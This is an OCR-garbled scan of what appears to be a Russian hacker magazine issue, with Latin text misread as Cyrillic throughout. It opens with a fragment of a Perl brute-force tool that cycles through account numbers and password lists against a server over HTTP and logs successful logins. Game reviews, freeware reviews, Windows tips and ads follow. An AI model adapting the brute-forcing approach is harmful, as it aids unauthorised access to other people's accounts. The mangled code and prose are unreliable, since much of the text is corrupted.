&сгаз!і(1 ,$раззѵѵогсІІзІ) ипіезз И ВраззѵѵогсІІзІ), 

Здесь - сгазЬ - дальнейшая процедура обработки ошибок. Далее открываем файл с уинами и 
поочередно заполняем массив @иіп8ІзТ номерами. 

зиЬ орепиіпз { 

ореп(ІІІ№,»$иіпз») || &сгазЬ(10); 

шЫ1е(<1ИЫ5>) 

ризЩ@ $ иІпзІз(,$_) # Заполняем массив @шпз1з4 в цикле 

} 

сІозе(ІЛЫЗ); 

Тог ($іаІІ=0;$іаІІ<=5саІаг(@иіпзІзІ);$іаИ++) I 
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ние! Символ «\п» - обязателен) 

$апзѵѵег-<$5оскеі> ; # Принимаем ответ сокета в переменную $апзѵѵег. 

й?"" ; г" "" »» «и»»».- м. 

удут заранее объявлены в главном модуле, либо на ѵоовне пяпямртппв іп ^ 

*™”“ » ‘Г-"ттш (чІ,, прЗІГІ 

§§=§~нгаг= 

^?д== ^= 

ІКЙКв’Г®-^ # Берем из параметров уин и па р° ль 

геіигп 3; # Если нет пароля - возвращаем 3 
ргіпі «Тгуіпд $иіп апсі Зраззѵтгі... \ п » ІГ $с!еЬид; 

р $ го2 П Йіі^ 

выглядит путь к скрипту и параметры, которые необходимо послать серверу. ’ 

0тправка на процедуру создания с ° кета и от. 

ІІ ($ ге8и 'И 1) # Анализ результата 



Ѵсдѳвил в Реяц 



Как сказал один человек, на РеП можно писать стихи - из-за гибкой оеаличя 
Ции кода, в частности условий. Условия в РеП могут задаваться как- ^ 
такиГ ' $ХЭкеР=1; $ІатеГ=0 > # составныхТпе“ ^ 

$хакер = 1 \і ($іше); # для одиночных операций. 

и^иимеіТбіГ ШГИЧе ? Кие 0П ^РЫ II и && (они работают быстрее ог 
и апа и имеют более высокий приоритет). н 






{ 



гегіо СаП \ * СОппес11 ° зепюг - ■ ■ Весоппесйпд\п» Я $йеЬид; 
еізй (!($гезиіІІ)) 

ргіп* 4аіЫ\п» № ЗсіеЬид; 
геіигп 0: 

} 

еіз» ($гезиіІ() 

ргіпі «зиссезз\п» ІТ $сІеЬид; 

Іоддіпд($зиссез5,»$иіп\:$раззжсІ»)- 

$і++; к ’’ 

ге(игп 2: 

} 



} 



верный, то пдаати^ 

ет на него, как брать следующий по списку ШМ) 1»Репразз() прореагиру- 

зііЬ зоск { 
ту($зоске(); 
ту($деІ)=@_; 

$зоске*=Ю::5оске*::І М ЕТ->пе»( РеегАОсІг => $ 5 егѵег, 

РеегРогІ => 80, 

2»Г а -'І # Соз Дадим сокет, либо возвратим -Г°* 0 => * СР) 
3 А г і\ п // 9; # Удалим из пути к скрипту все спецсимволы 
РПП» $зоске( «НЕАО $де, НТТР/1 .0\„\л» ; /поіаемЗ^ серверу 

ѵѵЬіІе (<$зоскеІ>) 

$ап5ѵѵег=$; 

с(іотр($апзѵѵег); 

($ апзѵѵ ег=-/$ро5іііѵе/) # Анализируем результат 

сІозе($зоскеІ); 
геіигп 1 

} 

И ($ап5ѵѵег=~/$педайѵе/) 



{ 



} 



сІозе($зоскеІ); 
геіигп 0 



Разбфр пфаётфв 







Брутфорс в работе 






Хитрфсти КФОА 



В коде ты увидишь переменную $беЬид. Как видно, почти все ргіпШ выполня- 
ются при условии, что $беЬид отлична от нуля. Поэтому, если тебе не Ген 
лишнии мусор, присвой ей 0. нужен 

Бывает что после отправки НЕАО, сервер отвечает, что перегружен (поппо- 
буите обратиться позднее). Если ты желаешь отловить это сообщение Р тп 



“ГІЕ 3 


5 


&ТРІСН 










Есть в Раге одна полезная 
фишка: "Список процессов" - 
Р11 -> Ргосезз Шзі (список 
процессов). Он позволяет 
просматривать и убивать лю- 
бой процесс. Даже кегпеІ32 
(он действительно умирает 
вместе со всем остальным). А 
по клавише ЕЗ можно просма- 
тривать свойства процессов. 



Возможность черезвычайно 
полезна обладателям ѴѴіпбоѵѵз 
9х, т.к. показывает процессы, 
скрытые от трехпальцевого 
меню (СМ+АК+ОеІ) - теперь 
ни один троян не спрячется ;). 

вагік 

дзіагі@пагод.ги 
Шр://шм. шЫюѵѵІо. ги/гед 
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Юниты 



в 








■ ■■ Александр 2роІ50пЗ' Сидоровский 
<2роІ50п5@геаІ. хакер. ш> 



Обл омись 

Полностью трехмерная адвенчург 
с на редкость логичными и 
умными загадками. Впвчетлиив 

портят тупорогие штампы (добро 

ХОРОШО 



пожаловать в Россию, состоящую 
из заснеженной Сибири, КГЬ- 
шников, алкоголиков и хакеров), 
немного неудобное Упра^ие 

(что поделаешь, порт с Р52) и 

паталогические проблемы с 

чувством юмора у разработчиков. 

Все остальное - очень даже 
ничего. По крайней мере, 
играется приятно. 



Урожденная 



Ісемѵіпсі Раіе 2 



ЯРв 



Описуха 



ПРИГОВОР 



Изюминка этой ролевки в ис- 
пользовании новой, третьей ре- 
дакции правил АР&Р. В осталь- 
ном - обычный римейк всем 



знакомых игр на ІпТіпіІу Епдіпе 
(т.е. ВР и самого І№). Увлека- 
тельные квесты разбавлены за- 
даниями а Іа мальчик на побе- 
гушках, графика уже начинает 
отдавать несвежестью, АІ демон- 
стрирует чудеса кривого 
раіМіпсІіпд’а, глюки лезут изо 
всех щелей, разве что озвучка и 
музыка почти безупречны. 



СРЕДНЕ 



Урожде нная ] 
Жанр 
Похожесть 
Мать/отец 



СеШс Кіпдз: Раде о* ѴѴаг 



Требует 



Групповуха 



Описуха 



ПРИГОВОР 



НТ5 



Шгсгаіі 3, КпідІііз & Мегсйапіз 
Наетітопі/Руссобит-М 



Р2-350(РЗ-500), 64(128), ЗР 



ІЛЫ, Инет 



Качественная, насквозь 
традиционная реал-тайм 
стратегия по мотивам кельтской 
мифологии. Двухмерная 



спрайтовая графика смотрится 
выигрышно, несмотря на то, что 
после ѴѴСЗ любая 20 ВТ5 
выглядит позавчерашним днем. 
Армию надо кормить (как в 
КпідГііз & МегсИапІз), на героя 
можно вешать магические 
предметы (как в ѴѴСЗ), АІ очень 
неплох. Приговор был бы выше, 
если бы не глубокая вторичность. 



СРЕДНЕ 




Урожденная 



ВаПІейеіа 1942 



Многопользовательский РР5 



Командный многопользователь- 
ский РР5, действие происходит 
во время Второй мировой. Играть 
можно, не только бегая по полю 



боя с винтовкой/базукой/ми- 
ной/аптечкой наперевес, но и 
рассекая небо на истребителях,^ 
руля джипами, танками и прочей 
техникой и даже крадучись в глу- 
бинах на подлодке. Графика ^ 
весьма прогрессивна, игровой 
процесс захватывает дух. Убийца 
Орегаііоп ГІазііроіпІ и конкурент 
Соипіег Зігіке. 



ПРИГОВОР 



РУЛЕ(З)! 



Урожденная 



ЗисМеп Зігіке 2 



Изменения по сравнению с пер- 
вой частью скорее косметичес- 
кие: теперь можно транспортиро- 
вать солдат на чем угодно, хоть 



на броне танка, офицеры пользу- 
ются биноклем и т .д. На стороне 
немцев выступают японцы, италь- 
янцы и румыны. Союзники дейст- 
вуют поодиночке: СССР, США, 
Великобритания, Франция и 
Польша. А вот графика осталась 
прежней, да и игровой процесс 
значительных изменений не пре- 
терпел. 



ПРИГОВОР 



ХОРОШО 
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Юниксоид 















Урожденная , 



АІ Оаесіа Нипйпд ЗЭ 



^ Са \Ц6ЛОМИП Ь 

В пещерах Тора Бора, на базе 
талибов, где по данным 
спецслужб частенько тусуется 



немедленным уничтожением без 
суда и следствия и является 

целью шутера с прекрасным 
названием «Охота на Аль-Каиду 

ти1 ДВаВИДа ° Ружия ' ст °лько же 

типов врагов и текстур на стенах 

Д) минут игрового времени - вот 
необходимый минимум для 
жаждущего мести американца. 



т$к№асбоп/а5^^ 

Т™ — 

Т Мігіе е а тб $ /^ тазгегз 

Тм-мти-вші. 1№)-ЗР 

Т Обломись -Г- 

Ттпіе! во время В юрой мировой 
I или Сошшапбоз в ЗЭ. Ты - за- 
ключенный немецкого концлаге- 

Іря, при этом умудряешься не 

ХОРОШО 



костить ненавистному фашист- 
скому режиму. То документ важ- 
ный стыришь, то саботаж учи 
нишь. И все это - скрываясь от 
вездесущих охранников. Играть 

очень, атмосферно. ДЭ что там 

говорить, страшно. Даже уста- 
ревшая графика этому не в со- 

стоянии помешать. 




«и 

№ 



1 





Часть тиража будет укомплектована 
полной лицензионной версией игры, 

Полная информация для новичков 
и профессионалов жанра ПТЗ: 



описание 12 наций 

прохождение 4 кампаний (30 миссий) 

все характеристики более 200 (!) видев . 
подразделений и сооружений 

советы и хинты, тактические и 
стратегические хитрости 

нюансы многопользовательских баталий 
конкурс с ценными призами 



Вы готовы командовать гигантскими 
армиями, где под вашим началом плечом 
к плечу будут сражаться до 16 тысяч 
воинов? 

. Готовы изменить ход 6 известнейших би; 
г прогремевших в ХѴ-ХІХ века? Тогда 
до встречи на страницах спецвыпуска 
«Страны Игр»! 



татеиаШІ 







Юниты 



ЗАЛ СУДА 



Александр 2роізоп5' Сидоровский 
<2роізоп$@геаІ. хакер. ш> 






Урожденная | 



Етрегог: 

ВізеоНІіе МісМІе Кіпдаот 



ПРИГОВОР 



шей главной задачей является 
удовлетворение многочисленных 

ХОРОШО 



Урожденная 



ипгеаі Тоигпатепі 2003 



Мать/отец 



Описуха 



ПРИГОВОР 



В принципе, обычный многополь- 
зовательский шутер (читай третья 
Квака номер два), но завернутый 



в такой потрясающий графичес- 
кий фантик, что забываешь, за- 
чем ты в эту игру зашел. Тонны 
полигонов, высококачественные 
текстуры, отточенная физика (по- 
смотри на падения тел)... И при 
этом - довольно стандартные ре- 
жимы игры, уровни и оружие. 
Мощный конкурент 03, но проры- 
ва в жанре не вышло. 



РУЛЕ(З)! 



Урожденная 


Зігопдііоісі: Сгизасіег 


Жанр 


РР8 


Похожесть 


Зігопдіюіб 


Мать/отец 


РігеПу Зіибіоз/ООО Сатез 


Требует 


Р2-300(РЗ-600), 64(128) 


Групповуха 


МЛ/, Инет 


Описуха 


Действие этой дополнялки 
разворачивается в арабских 
пустынях во времена крестовых 
походов. Отсюда и набор 






нужд капризных граждан. Надо вы- 
страивать древнекитайский город 
так, чтобы каждого жителя постиг- 
ло эстетическое, физическое и га- 
строномическое счастье. Все это 
мы уже видели в других «древних» 
странах: в Египте (Рбагаоб), в Ри- 
ме (2еиз) и т.д. Движок старый, 
двухмерный. Да, качественно, но 
мы в это уже играли. 



изменений: унылые песчаные 
ландшафты, восточный стиль в 
архитектуре, арабские 
народные юниты. На этом 
нововведения заканчиваются. 
Очередной пустой адд-он для 
выкачивания фанатских 
сбережений. Купи его, только 
если тебе жизнь без бедуинов 
не мила. 





г * 



Урожденная 


СоггІІісІ: Резегі Зіогт 


Жанр 


тактический шутер 


Похожесть 


Оеііа Рогсе, ТасОрз 


Мать/отец 


РіѵоіаІ Сатез/ЗСі Сатез 


Требует 


Р2-450ІРЗ- 1000). 128(128130 


Групповуха 


М/Ѵ, Инет 


Описуха 


Ненапряжный шутер с налетом 
якобы реалистичности с одной 
стороны, и полной аркадности с 
другой. Вроде и оружие реаль- 



ное, и задания правдоподобные, 
и все как бы «по-честному», но 
аптечка творит чудеса (поднимает 
раненого после прямого попада- 
ния снарядом!) а оружие щедро 
разложено по многочисленным 
трупам врагов. Симпатичная гра- 
фика, расслабляющий гемплей - 
что еще нужно для отдыха после 
рабочего дня? 



ПРИГОВОР 



Урожденная 



Жанр 



Похожесть 

Мать/отец 



Требует 



Групповуха 



Описуха 



ПРИГОВОР 



Ноѵег Асе 



аркадные гонки 



Зіаг Шгз: Расег, РоІІсаде 1-2 



С8С бате Шгіб/ 
Руссобит-М 



РЗ-500(РЗ- 1000), 64(128), ЗР 



Обломись 



Суть игры проста, как полкило се- 
ледки: на неких планетах проводят- 
ся гонки на суперскоростных паря- 



щих и стреляющих пепелацах... 
Подробности нужны? Правильно, 
здесь главное - ощущение скоро- 
сти, драйв, адреналин. С этим все 
в порядке: графика справляется, 
маломощные поначалу машинки 
сменяются молниеносными терми- 
наторами, вооруженными до зубов. 
Снять напряжение после рабочего 
дня - самое оно. 
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ТМ ВАРЮ Ш.ТКА 




Юниты 



Александр 2роізоп5' Сидоровский 
<2роізоп$@геаІ. хакер. ш> 




Урожденная 1 
Жанр 



Редкий случай, когда улучшение 
игры происходит не за счет до- 
бавления новых фишек, а скорее 
за счет отсечения ненужных. 



ПРИГОВОР 



Многие из излишних, по мнению 
авторов, наворотов версии 2002 
здесь исчезли. Зато физика пове- 
дения шайбы доведена до абсо- 
люта. Реалистичные рикошеты, 
отскоки - все по-настоящему. 

Есть мелкие недочеты и по гра- 
фике, и по игровому процессу, 
но, тем не менее, это - лучший 
хоккей на РС. 






Урожденная ІіНШіММЯ 

Жанр асііоп/РР6 

Похожесть РіаЫо 1-2, Ргіпсе оіОіп, СогазиІ 
Мать/отец іагіап ЗШіоз/СРУ ЗоПѵѵаге 

Требует 

Групповуха | Обломись 



Описуха 



ПРИГОВОР 



Возьми ОіаЫо (обе части), 
замешай туда немного занятных 
квестов, некоторые из которых 
можно даже проходить по- 



I разному (РаІІоиІ, РІапезсаре: 
ТогтеЫ), нарисуй приятную 
старомодную графику, состряпай 
в меру удобный интерфейс, и у 
тебя получится Оіѵіпе Оіѵіпііу. 
Диалоговое «разнообразие» 
осталось в наследство от детища 
ВІігіагсІ, зато разнообразие 
квестов заставит покраснеть 
многих грандов жанра. 



Урожденная 



Ыесготапіа: Тгар оі Рагкпезз 



асііоп/ВРО 



Описуха 



ПРИГОВОР 



Типичный клон РіаЫо, только на 
этот раз с характерным юмором 
из Рике ІМикет. Набившие оско- 
мину рыцари, маги и прочие 



амазонки матерятся как грузчи- 
ки, на стенах предлагаются ус- 
луги орального секса в исполне- 
нии скелета. Кроме этого, раз- 
нообразие вносит, пожалуй, 
только возможность играть за 
типично «монстрячих» существ: 
голема, гоблина, того же скеле- 
та (хм...). В остальном - однооб- 
разная аркада. 



СРЕДНЕ 



Мать/отец 



Ыо Опе Ыѵез Рогеѵег 2 



гіпнсѵ ха Шпионское приключение на оу- 
пердвижке Шійсіі .Іирііег. На 
скриншотах нельзя о ценить потря- 

КНДЯ1 илщІГ 



Урожденная | 
Жанр 



Мать/отец 



Требует 



Групповуха 



Описуха 



Зігаіедіс СоштапсІ: 
Еигореап Тііеаіге 



ѵѵагдате 
Рапіег СепегаІ 



Ригу ЗоЙѵѵаге/ВаШеігопГ 



Р200(Р2-300), 32(64) 



В ассортименте 



Варгейм в масштабах командова- 
ния вооруженными силами целой 
страны или даже коалиции стран. 



сающую плавность движений, точ- 
ную мимику персонажей, физику 
игрового мира. Уровни тебе за- 
помнятся надолго, несмотря на то, 
что «экзотика» (индийские улочки, 
сибирская военная база...) слегка 
притянута за уши. Набор оружия, 

впрочем, как и сюжет, довольно 

стандартны, но даже это не может 
испортить блестящую игру. 



Напоминает СіѵіЫоп, из которой 
убрали все, кроме военных дейст- 
вий, да и те кастрировали. На кар- 
те Европы перемещаешь фишки 
армий и захватываешь целые 
страны. Разыгрывается Вторая 
мировая, играть можно за всех ос- 
новных участников. Идея интерес- 
ная (повернуть вспять ход целой 
войны), но реализация ни к черту. 
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Универсальный грабитель новостных ресурсов. Состоит из двух частей: одна скачивает новости, 
упорядочивает их и складывает в нужном формате, вторая предоставляет удобный интерфейс 
для просмотра собранной информации. На момент тестирования программа позволяла таскать 
новости с таких популярных сайтов, как Газета. ш, І.епіа.ги, Ѵтро.ги, Напсіу.ги, Сотриіепіа.ги, 
Анекдот.ги. Впрочем, нет никакой необходимости грузить на свою машину всю информацию, до 
которой ІДОІС способна дотянуться - программе можно совершенно четко дать понять, новости на 
какие темы и из каких источников тебя интересуют. Хочешь читать про свежий софт? Прога бу- 
дет закачивать тебе только обзоры ПО. Хочешь читать про политику? Пожалуйста! Кроме свежих 
анекдотов тебя по утрам ничего не интересует? Нет проблем, будут тебе анекдоты. Ктомуже, что 
особенно приятно, программа будет снабжать тебя только «чистой» инфой (текстами новостей и 
иллюстрациями к ним) - ни баннеров, ни рекламы в окне просмотра ІШІСты никогда не увидишь. 
Программа умеет работать по расписанию. Это означает, что новости будут скачиваться в наи- 
более удобное для тебя время. Также в «Универсальном грабителе новостей» предусмотрено не- 
сколько вариантов поиска нужной тебе информации, возможность вывода текущей новости на 
принтер и создания файлов новостей для последующего чтения их на карманном компьютере. 
Примечание для продвинутых пользователей: в файле конфигурации программы (ипіс.іпі) 
имеется параметр [ОоѵѵпІоасІ] / І_оасіІтаде5=1 , который отвечает за загрузку картинок. Ес- 
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Сейчас в Рунете расплоди- 
лось видимо-невидимо эле- 
ктронных журналов. Іпіегпеі 
2опе, РгоІоРІех, ѴѴеЬ 
Сгеаііоп... Если постарать- 
ся, то можно найти даже 
старые номера «Хакера» за 
1999 - 2001 год. Но зачем я 
тебе это рассказываю? На- 
верняка на твоем винчесте- 
ре уже скопилось приличное 
количество таких журналов. 

Скопилось и... лежит мерт- 
вым грузом, поскольку ори- 
ентироваться в этом скопи- 
ще веб-страниц весьма и 
весьма затруднительно! Но, 
к счастью, это беда попра- 
вима - стоит лишь устано- 
вить на своей машине про- 
грамму РіпсМоигпаІз, и инте- 
ресующая тебя статья уже не сможет затеряться среди сотен других. Почему? Да потому 
что указанная прога облегчает просмотр содержания и дает возможность быстрого поиска 
нужной информации в комплектах электронных журналов, расположенных на винчестере 
или компакт-диске. 

При запуске РіпсУоигпаІв в левой части окна автоматически формирует список всех име 
ющихся журналов, а в правой отображает содержание текущего номера. Двойной щелчок 
на названии выбранной статьи приводит к ее открытию в браузере. Но если журналов мно 
го, то искать статью на интересующую тебя тему, просматривая содержание каждого но 
мера - занятие унылое. Гораздо легче перейти на вкладку «Поиск», задать ключевое ело 
во или словосочетание, и программа быстренько перекопает тебе весь «журнальный мае 
сив» целиком (поиск ведется как в названиях статей, так и в их тексте) 

Вкладка «Избранное» позволяет отбирать статьи по необходимой тематике и распреде 
лять их по создаваемым тобой разделам. Причем такие статьи сохраняются отдельно и 
могут быть просмотрены в любое время. Более того! При использовании плагина І2опе те 
бе даже разрешается формировать свои собственные сборники из отдельных статей, лич 
но утянутых тобой из Инета. Сейчас, когда вокруг развелось столько разрозненной неупо 
рядоченной информации, эта способность программы РіпсМоигпаІз особенно рулит 
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Новый вариант трех- 
мерного интерфейса 
для операционной 
системы ѴѴіпсІоѵѵг. 
После установки и 
запуска ЗОЫА мы 
внезапно оказыва- 
емся внутри какой- 
то небольшой базо- 
вой станции, по ко- 
торой нам разреша- 
ется свободно пере- 
мещаться. Сердце 
базы - виртуальное 
рабочее место, ос- 
нащенное трехмер- 






иконок. Корзину для мусора, калькулятор, мейлер, блокнот узнаешь с пер- 
вого взгляда - это стандартный набор. Иконки других программ приходится 
импортировать (есть удобный мастер), после чего они занимают места на 
стенной панели. Работа в ЗО-пространстве ничем не отличается от работы 
в 20, т.е. ты кликаешь по предметам/изображениям - запускаются проги, 
появляются окна (самого обычного вида). Также на базе имеется стена с 
большим количеством экранов, на каждый из которых можно вывести «сни- 
мок» интересующего тебя сайта. В центре базы находится столб с кнопка- 
ми, позволяющий добраться до внутренних настроек программы. Кроме 
скорости передвижения, чувствительности мыши и тому подобных вещей, 
ты можешь изменить вид из окон (космос, бескрайнее море) и внутреннюю 
отделку помещения. Забавная деталь: все стены базы украшены плаката- 
ми, изображения на которых автоматически обновляются через Инет. Дру- 
гой интересный момент - встроенный скринсейвер. Когда ты отходишь от 
компьютера, человечек (или какое-то другое существо :)), глазами которо- 
го ты смотришь, начинает очумело бегать по базе, подпрыгивая и покачи- 
ваясь. Итого: ВООМЗ, ѴѴіпЗй - отдыхают, теперь именно ЗРЫА являет собой 
наиболее качественную попытку переноса на компьютер той безумной раз- 
новидности трехмерного интерфейса, которую часто показывают в фантас- 
тических фильмах... 




94 











№№1 



Столько раз, засидевшись за компьютером, я забывал про важные дела, со- 
бытия, планы, что, в конце концов, мне это надоело. Я полез в сеть и три дня 
качал и тестировал проги, обещавшие в заданное время напоминать мне обо 
всем, о чем я сам хотел бы помнить. Больше трех десятков популярных про- 
грамм было признано негодными: некоторые из них отъедали слишком много 
системных ресурсов, некоторые были «сыроваты», некоторые - неоправданно 
сложны. Но потом я наткнулся на утилиту под названием Капа Ветіпсіег и по- 
нял - это то, что мне надо! Малый вес, простой, но не примитивный интер- 
фейс, приличное количество продуманных функций, главная из которых - воз- 
можность быстрого создания напоминаний: один клик по иконке или нажатие 
«горячей клавиши», и на экран выпрыгивает маленькое окошко, в которое до- 
статочно лишь «забить» время и текст. Это - в простейшем случае, когда, ска- 
жем, нужно не забыть через полчаса выключить картошку. Но, если требует- 
ся, ты можешь из этого же окна изменить любую из настроек по умолчанию: 
установить дату, требуемую регулярность срабатывания (ежечасное, еже- 
дневное, еженедельное и т.д.), настроить способ оповещения. Кстати, о спо- 
собах оповещения следует сказать, что они также сделаны очень грамотно: в 
назначенное время Капа Ветіпсіег может помигать иконкой, запустить зара- 
нее заданную прогу, проиграть звуковой файл (или пропищать спикером в си- 
стемном блоке), выплюнуть окошко с текстом напоминания и кнопками («ОК», 
«Напомнить еще раз через п-минут»). Также в программе имеется меню наст- 
ройки, из которого можно посмотреть сразу все сделанные тобой напомина- 
ния, установить парольную защиту, повесить на комбинации кнопок различ- 
ные операции... Короче говоря, полюбовавшись на все это, я уже через пару 
минут решительно потер весь конкурирующий софт, а Капа Ветіпсіег пропи- 
сал в автозагрузку. И хотя с тех пор прошло уже несколько недель, я еще ни 
разу об этом не пожалел! 
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Тем, кому простои системы напоминании, предлагаемой програм- 
мой Капа Ветіпсіег, недостаточно, я бы посоветовал повнимательней 
присмотреться к бесплатной версии планировщика Тазк РІиз. Это 
весьма мощная и полезная прога, в которую можно загнать распи- 
сание своих дел на месяцы вперед. Несмотря на то, что интер- 
фейс Тазк РІиз не русифицирован, никаких сложностей при ра- 
боте с программой у тебя не возникнет. Дело в том, что принцип 
работы с ней интуитивно понятен: в правой части окна Тазк РІиз 
- календарь на четыре месяца, ты кликаешь по нужной дате, а 
затем вписываешь свои задачи, события и планы на этот день в 
левой части окна. День, на который у тебя что-то запланирова- 
но, автоматически отмечается на календаре красным цветом. 
События можно сортировать по категориям (личное, работа, 
дни рождения...). Большую часть времени Тазк РІиз сидит в си- 
стемном трее и самостоятельно вылезает оттуда лишь для то- 
го, чтобы напомнить тебе о твоих планах. Как и любой другой 
приличный планировщик, Тазк РІиз позволяет юзеру отмечать 
любое дело как выполненное, причем такая отметка может со- 
провождаться произвольным текстом. И, само собой, Тазк РІиз 
разрешает распечатать список текущих заданий (или экспорти- 
ровать его НТМІ.- или С8Ѵ-файл). 

Ну, а главная прелесть этой проги, которую единодушно отме- 
чают все отечественные обозреватели, заключается в возмож- 
ности «перетаскивать» задания с одной даты на другую. Оно и 
понятно! Нафига нашему человеку планировщик, который не 
позволяет отложить дела на потом? :) 
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Шароварная версия программы ѴѴіпсІоѵѵРХ - это форменное издевательство над пользователем. В ней отключена боль- 
шая часть самых интересных фишечек! Ну, разве не свинство?!! Тем более, что сама по себе программа совершенно 
фантастическая. Она занимается тем, что расширяет стандартные возможности интерфейса ѴѴіпсІоѵѵз целым набором 
специальных эффектов. 

ѴѴіпсІоѵѵРХ позволяет устанавливать крупные иконки на Рабочем столе, разрешает настраивать коэффициент прозрач- 
ности отдельных окон, заставляет их отбрасывать полноценные тени. А с какими потрясающими эффектами отныне 
эти окна могут открываться и закрываться! Черт! Два щелчка по иконке, и окошко, плавно вращаясь, вылетает из глу- 
бины экрана; один клик по «Свернуть», и окно делится на две части, которые распахивается настежь, словно ворота! 
При совместном же использовании ѴѴіпсІоѵѵРХ с ѴѴіпсІоѵѵВІіпсІз (другим продуктом этой же компании) разработчики га- 
рантируют дополнительные фокусы с освещением... Да и процессор (который и так практически простаивает при 
офисной работе) программа загружает не так уж и сильно. К тому же, если на видеокарте твоей машины написано что- 
нибудь вроде МѴісІіа Сеіогсе, АТІ Пасіеоп или, на худой конец, Маігох С400, ты, вдобавок ко всему, сможешь ощутить 
все прелести аппаратной акселерации. 

Эх, чувствую, что если бы не кастрированность шароварной версии, то у нас с ѴѴіпсІоѵѵРХ уже сложились бы прочные 
семейные отношения... Атак придется ждать неофициального релиза :). 
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Довольно коварную запод- 
лянку припас для нас Бил- 
ли в ХР. Дело в том, что 
если кто-нибудь поменяет 
под ХР мать на другую, то 
при первой же загрузке 
нарвётся на ошибку вроде 
"ІпассеззіЫе Ьооі беѵісе" и 
ничего, кроме переуста- 
новки системы тебе не по- 
может. В ѴѴіпХР так же, как 
и в ѴѴіп2к (но не в ѴѴіпЭх), 
довольно сильно отлича- 
ются дрова для ЮЕ-кон- 
толлеров у разных чипсе- 
тов, встроенных в мать, 
поэтому при замене мамы 
на другую с другим чипсе- 
том, система уже не смо- 



жет обнаружить твой винт. 
Так вот чтобы этого избе- 
жать, нужно в Беѵісе 
Мападег'е (ЗІаі1->СопІгоІ 
РапеІ->5уз{ет- 
>НагсІѵѵаге->Оеѵісе 
Мападег) в разделе "ЮЕ 
АТА/АТАРІ сопігоііегз" по- 
менять "Виз Мазіег ЮЕ 
сопігоііег" на "ЗіапсІагТ ЮиаІ 
СПаппеІ РСІ ЮЕСопігоІІег". 
Затем можешь уже спо- 
койно устанавливать мать 
и ставить родной ЮЕ соп- 
ІгоІІег. 

ЫегоЫ 
пегопх@таіІ.ги 
Шр://пегопх. паюс!, ги 



ж 



Воо ІЕ ІИЧг 1 гь чг^аі 








Специальная утилита, ко- 
торая служит для измене- 
ния загрузочной заставки 
в операционных системах 
ѴѴіпсІоѵѵз ХР и ѴѴіпсІоѵѵз 
2000. Напомню, что раз- 
работчики ѴѴіпХР/ѴѴіп2к 
зачем-то запихнули эту 
картинку в системный 
файл ЫТ05КЯМІ..ЕХЕ, хо- 
тя, к примеру, в ѴѴіпсІоѵѵз 
95/98 она спокойно лежа- 
ла в корне системного 
диска под названием 
Іодо.зуз, и никто на это ■ 
не жаловался. Или, мо- 
жет, кто-то был этим не- 
доволен? Не знаю. Глав- 
ное - результат налицо: 
если раньше картинку 
можно было сменить 
вручную безо всякого ри- 
ска, то теперь та же са- 
мая операция проводится 
с помощью редактора ре- 
сурсов без гарантии, что 
система эту операцию 
перенесет :). Хотя, о чем 
это я? Ведь я как раз на- 
чал рассказывать о про- 
грамме, которая берет все необходимые операции на себя и тем самым сводит риск к миниму- 
му. К примеру, в ЫТОЗКВЫЬ.ЕХЕ надо помещать только изображение в формате ВМР разрешени- 
ем 640x480 и 16 цветами, но пользователь ВооІХР может использовать любые файлы форматов 
ВМР, иРС, СІР, РИС, РСХ, ТСА, ИР - программа самостоятельно подгонит параметры любого 
изображения до требуемых значений. Кстати, результаты этой подгонки можно сразу же оценить 
благодаря функции полноэкранного предварительного просмотра. Если приличные картинки на 
твоей машине отсутствуют (имеются одни неприличные), то следует обратить внимание на тес- 
ную интеграцию ВооІХР с Интернетом: поиск новых заставок можно начинать, не выходя из про- 
ги! Ну и, наконец, работая с ВооІХР, ты меняешь загрузочную картинку или положение Ргодгезз 
Ваг’а без лишних перезагрузок операционной системы. Одна эта функция чего стоит! 







ЬехЕуез ѵ 1 .0 



■ 



ѴѴіпсІоѵѵз 9х/Ме/МТ/2к/ХР 
5іге: 224 КЬ 
Ргееѵѵаге 

ІШр \//шт. зіеі п ке . пеі/іехеуез 



Уф, что-то я устал от программ больших и серьезных. Ты, я думаю, тоже. А потому предлагаю тебе рассла- 
биться и заценить новый экспонат моей коллекции прикольного софта, который называется ЬехЕуез. Данное 
чудо программистской мысли, несомненно, появилось на свет под влиянием пива и впечатлений от извест- 
ных любому юниксойду Х-Еуез. Но программа І_ехЕуез - однозначно круче, поскольку поддерживает сменные 
«шкуры» и позволяет использовать от 1 до 32 глаз в одной теме. Ты представляешь себе нечто с 32 глазами, 
внимательно следящими за движениями указателя мыши? Я - нет. Но это явно будет еще хуже омерзитель- 
ного СііЬЬег’а, чья «шкура» идет в комплекте программы. А ведь у него этих глаз-то всего-то 9 штук! Также 
вместе с программой поставляется Оизі Рирру, В8Р Оаетоп, Еѵіі Рарег СІір и другие неприятные существа. 
І_ехЕуез берет на себя заботу о выводе выбранного персонажа в заданное место экрана (естественно, в режи- 
ме «поверх всех окон») и способна загружаться вместе с ѴѴіпсІоѵѵз. Но к чему говорить о всяких мелких техни- 
ческих деталях! Ведь основная причина, по которой ЬехЕуез надо качать немедленно, заключается в том, что 
новых глазастых персонажей (или просто бесхозных глаз :)) можно клепать без особого труда в домашних ус- 
ловиях из чего угодно (подробная инструкция имеется в геасіте.М, но, имхо, она не нужна - и так все ясно). 
А раз появляется еще одна забавная возможность вдоволь поиздеваться над своими друзьями, учителями, 
«любимыми» политиками и звездами всех мастей, то разве можно ее упускать? Конечно же, нет. Так что я вот 
сейчас допишу, а потом пойду «приделывать глазки» моему любимому персонажу - Масяне. Я уже просто ви- 
жу, как она сидит на системном трее и с любопытством наблюдает за тем, как ловко я управляю курсором. 
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С 14 октября по 20 ноября 2002 года 




Кубок России 

по поиску в интернете 

Участвуют все желающие! 

Правила, регистрация и тренировки 
на сайте 
киЬок.уапсІех.ги. 



Яшіех 

Найдётся всё! 




Юниты 



Спонсор рубрики «Юниты» - ЦНТ центральный телеграф 
шѵш.сііаіир.спі.ги, ѵѵѵѵѵѵ.сагсіз.спі.ги 



ШШѴѴ 



(сепІпег@геаІ. хакер, ги) 



Ѵепсіейа.ги 



€ 



ѵѵѵѵѵѵ. ѵеп сіеиа. ги 



Что-то наполняется род- 
ной рунет со страшной си- 
лой сайтами сомнительно- 
го содержания. И лучшие 
из них ждут тебя на наших 
страницах. На этот раз ты 
можешь в совершенно 
безнаказанно облить 
дерьмом любого неприят- 
ного тебе гражданина. Мо- 
жешь сделать это с осо- 
бым цинизмом и оттягом, 
можешь скромно, можешь 
предельно жестко. Короче, если есть желание замутить виртуальную «мстю» 
- тебе точно сюда. Заодно почитаешь всяческих опусов из серии: «Я разоча- 
